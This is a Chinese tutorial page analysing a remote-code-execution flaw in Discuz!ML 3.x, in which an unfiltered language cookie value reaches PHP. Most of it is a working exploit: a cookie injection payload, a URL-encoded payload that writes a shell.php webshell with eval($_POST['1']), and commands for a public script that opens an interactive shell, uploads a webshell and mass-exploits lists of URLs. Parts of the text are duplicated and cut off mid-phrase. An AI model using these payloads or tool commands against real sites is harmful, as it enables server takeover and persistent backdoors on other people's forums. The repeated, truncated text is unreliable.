您现在的位置是：首页 > cms教程 > Discuz教程Discuz教程
discuz!ml-3.x版本getshell漏洞分析
海莲2025-07-20Discuz教程已有人查阅
导读漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。1.cookie字段中会出现xxxx_xxxx_language字段
影响范围：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
断是否存在漏洞：
批量检测:
搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
即可在路径下生成shell.php，连接密码为1利用工具工具名叫：dz-ml-rce.py ，是用py2写的，可以在github上下载。断是否存在漏洞：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
获取交互式shell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上传一句话木马getshell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
连接密码为“x”批量检测:
python dz-ml-rce.py -f urls.txt
批量上马getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地复现：搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具测试：发现存在此漏洞，那么直接获取个shell回来：此工具针对此漏洞还蛮好用的。
感谢您的认可和支持
微信
支付宝
本文标签：
很赞哦！ ()
相关教程
图文教程
Discuz论坛帖子怎么批量管理与批量操作
在管理Discuz论坛的过程中，如何 地处理大量帖子成为一个关键挑战。今天，我们将深入探讨Discuz论坛帖子批量管理与批量操作的技巧，帮助你更好地维护和优化论坛。
ubuntu安装Discuz的步骤方法
1，安装数据库和Web服务器这个步骤请记住MySql的密码。另外可以安装MySQL到图形管理界面：2，安装Zend框架4,解压-
discuz的ecshop的伪静态规则apache+nginx
discuz(nginx): (备注：该规则也适用于二级目录)rewrite ^([^\.]*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 
discuz抱歉该附件无法读取的解决方法
最近升级了x2.0的补丁，发现普通用户在下载附件的时候会出现‘抱歉，该附件无法读取’的提示，但下载分已经扣了 搞得大家非常不满。但管理员之类的不扣下载分的是可以下载的。
相关源码
-
自适应恒温恒湿机空调机械设备营销型网站模板(自适应手机版)响应式营销型恒温恒湿机环境设备类网站pbootcms模板 蓝色营销型空调设备网站源码下载PbootCMS内核开发的网站模板，该模板适用于营查看源码 -
(自适应响应式)HTML5建筑工程公司建筑集团网站模板下载基于PbootCMS内核开发的响应式建筑行业网站模板，为建筑工程公司、建筑集团等企业打造，通过简洁大气的设计风格展现企业专业形象。查看源码 -
(自适应)营销型健身器材产品设备类pbootcms模板网站为健身器材企业打造的营销型网站模板，基于PbootCMS开源内核开发。采用HTML5响应式架构，PC与移动端数据实时同步，适配多终端展示场景。查看源码 -
(自适应响应式)高端网站建设设计公司互联网营销网站pbootcms模板本模板基于PbootCMS内核开发，为网站建设公司和互联网营销企业量身打造。采用响应式设计，适配各种移动设备，提供统一的后台管理体验查看源码 -
(自适应)光伏测试仪器电站运维设备网站源码免费下载本模板为光伏检测设备与电站运维服务企业设计，采用PbootCMS内核开发，具备完整的设备展示、技术文档管理及客户服务功能模块。通过自适应结构与SEO优化框架，有效提升企业在移动端和搜索引擎中的专业形象。查看源码 -
(自适应)蓝色五金制品配件管件pbootcms网站源码下载基于PbootCMS内核开发的五金行业专用模板，采用响应式设计架构，确保产品展示在各类移动设备上的呈现。通过模块化布局与工业风视觉设计，帮助五金企业高效展示产品规格、应用场景及技术支持，建立专业可靠的行业形象。查看源码
| 分享笔记 （共有 篇笔记） |
